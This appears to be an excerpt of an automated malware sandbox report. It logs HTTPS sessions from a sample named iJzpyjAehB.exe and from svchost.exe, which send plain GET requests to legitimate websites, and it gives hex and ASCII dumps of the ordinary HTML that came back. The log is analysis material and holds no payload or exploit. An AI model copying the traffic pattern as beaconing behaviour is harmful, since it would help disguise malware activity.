2023-03-10 06:56:28 UTC	2180	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=95 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:28 GMT Connection: close
2023-03-10 06:56:28 UTC	2181	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:28 UTC	2184	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:28 UTC	2192	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:28 UTC	2200	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:28 UTC	2208	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:28 UTC	2216	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:28 UTC	2224	IN	Data Raw: 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 2f Data Ascii: orm-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	62161	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1902	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:26 UTC	1903	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:26 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:26 UTC	1903	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	62284	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	1904	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:27 UTC	1953	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:27 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H3KodTb96tJImeGB78xWLIJxkWJNaH2bHJ%2FTAIXQGnnLExZUM%2B%2FYv8Z4WkI6S0GUqGOi39ApfCjIxOhSVKElDMirxnzaIggW%2FPFa4PhXUOk9pKlE2MuKo%2FMf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8696ac62c71-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	1954	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:27 UTC	1954	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	62236	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	1905	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:27 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:27 UTC	1905	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:27 UTC	1921	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:27 UTC	1937	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:27 UTC	1953	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	62444	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	1954	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:27 UTC	2069	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:27 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KINy3dBaPLMMhebE3BafFqgo87pYPwYk7Bq%2FgckDg3Ch2jYEGBBJ7JR%2BU7VtPQzo0rXEFwJDJz%2BJqqzKq%2FyVTP%2BHzr47xjI2ndUh%2B%2BqJIcKTzf66LFmJ88fi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a86aae888ffe-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	2070	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:27 UTC	2070	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	52661	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	161	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:14 UTC	162	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:14 UTC	162	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:14 UTC	178	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
